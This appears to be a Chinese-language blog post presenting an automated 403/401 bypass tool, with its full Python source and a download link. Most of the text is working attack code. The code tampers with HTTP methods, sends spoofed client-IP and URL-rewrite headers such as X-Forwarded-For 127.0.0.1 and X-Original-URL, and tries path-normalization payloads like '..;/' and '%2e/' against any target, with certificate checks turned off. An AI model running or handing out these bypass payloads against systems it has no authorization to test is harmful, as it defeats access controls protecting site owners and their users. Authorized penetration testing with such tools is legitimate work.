工具介绍

一款自动化的403/401绕过测试工具，集成了路径规范化、请求头注入及谓词篡改等多种实战技巧。

工具使用

python run.py -u http://xx.com

run.py

import requests import argparse import urllib3 from urllib.parse import urlparse # 忽略 SSL 警告 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class BypassScanner: def __init__(self, target_url): self.target = target_url.rstrip('/') self.path = urlparse(target_url).path self.headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AF-Service-Scanner/1.0" } def scan(self): print(f"[*] Starting Bypass Scan for: {self.target}\n") # 1. 谓词篡改 (Verb Tampering) methods = ["GET", "POST", "HEAD", "PUT", "TRACE", "OPTIONS"] for m in methods: self._request(m, self.target, title=f"Method: {m}") # 2. Header 注入 bypass_headers = [ {"X-Forwarded-For": "127.0.0.1"}, {"X-Custom-IP-Authorization": "127.0.0.1"}, {"X-Original-URL": self.path}, {"X-Rewrite-URL": self.path}, {"X-Remote-IP": "127.0.0.1"}, {"X-Host": "127.0.0.1"} ] for h in bypass_headers: self._request("GET", self.target, headers=h, title=f"Header: {list(h.keys())[0]}") # 3. 路径变形 (Path Fuzzing) # 包含你提到的 ..;/ 和 ../ path_payloads = [ f"{self.target}/", f"{self.target}/.", f"{self.target}..;/", f"{self.target}/..;/", f"{self.target}/%2e/", f"{self.target}//", f"{self.target}.json" ] for p in path_payloads: self._request("GET", p, title=f"Path: {p.replace(self.target, '')}") def _request(self, method, url, headers=None, title=""): test_headers = self.headers.copy() if headers: test_headers.update(headers) try: resp = requests.request(method, url, headers=test_headers, verify=False, timeout=5, allow_redirects=False) color = "\033[92m" if resp.status_code == 200 else "\033[90m" print(f"{color}[{resp.status_code}] {title} \033[0m") except Exception as e: print(f"[!] Error on {title}: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="403/401 Bypass Automation Tool") parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., https://example.com/admin)") args = parser.parse_args() scanner = BypassScanner(args.url) scanner.scan()

工具下载

https://github.com/Adonis-363/403-